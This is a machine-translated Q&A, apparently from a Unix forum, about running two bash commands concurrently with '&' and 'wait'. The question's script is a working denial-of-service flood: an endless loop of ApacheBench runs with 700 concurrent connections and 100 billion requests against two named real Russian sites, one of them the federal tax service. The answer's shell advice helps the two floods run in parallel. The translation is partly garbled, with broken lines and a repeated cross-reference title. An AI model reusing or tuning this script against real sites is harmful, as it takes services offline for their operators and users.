执行以下脚本
#!/usr/bin/bash
while true
do
ab -c 700 -n 100000000000 -r http://crimea-post.ru/ >>crimea-post & ab -c 700 -n 100000000000 -r http://nalog.gov.ru/ >>nalog
done
做完全一样的
#!/usr/bin/bash
while true
do
ab -c 700 -n 100000000000 -r http://crimea-post.ru/ >>crimea-post
ab -c 700 -n 100000000000 -r http://nalog.gov.ru/ >>nalog
done
根据我的经验,第一个脚本比第二个脚本(超过 10 分钟后)更快地创建nalog
文件(几秒钟内),这向我表明后者等待ab -c 700 -n 100000000000 -r http://nalog.gov.ru/ >>nalog
完成。它不应该是这样的,因为从我到目前为止的研究来看,第二个脚本是在ab -c 700 -n 100000000000 -r http://nalog.gov.ru/ >>nalog
不等待ab -c 700 -n 100000000000 -r http://crimea-post.ru/ >>crimea-post
完成的情况下开始的。我希望这两个ab
命令同时执行,我如何在 Bash 中完成这个?
PS它是&
和不是&&
。我知道什么&&
可以和不想在这里应用它。
不,
cmd1 [newline] cmd2
不像cmd1 & cmd2
- 前者在开始之前等待cmd1
完成cmd2
。如果您希望在第一个命令运行时继续执行,则需要将其
&
拆分为两行:变成
如果要确保两个命令在再次循环之前完成,可以使用
wait
.其他 shell 构造也提供并发性,特别是管道:(
a | b
或在某些 shell 中的变体a |& b
,用于重定向两个输出流¹)同时运行,a
并b
在继续之前等待两者完成。一些 shell 还支持协同进程(请参阅如何在各种 shell 中使用命令 coproc?)和进程替换(请参阅如何在各种 shell 中使用命令 coproc?),可用于同时运行命令。请参阅什么是 shell 的控制和重定向运算符?有关列表终止符(包括
&
)和管道运算符的详细信息。¹ 除了在 ksh 中,它
a
作为协同进程运行。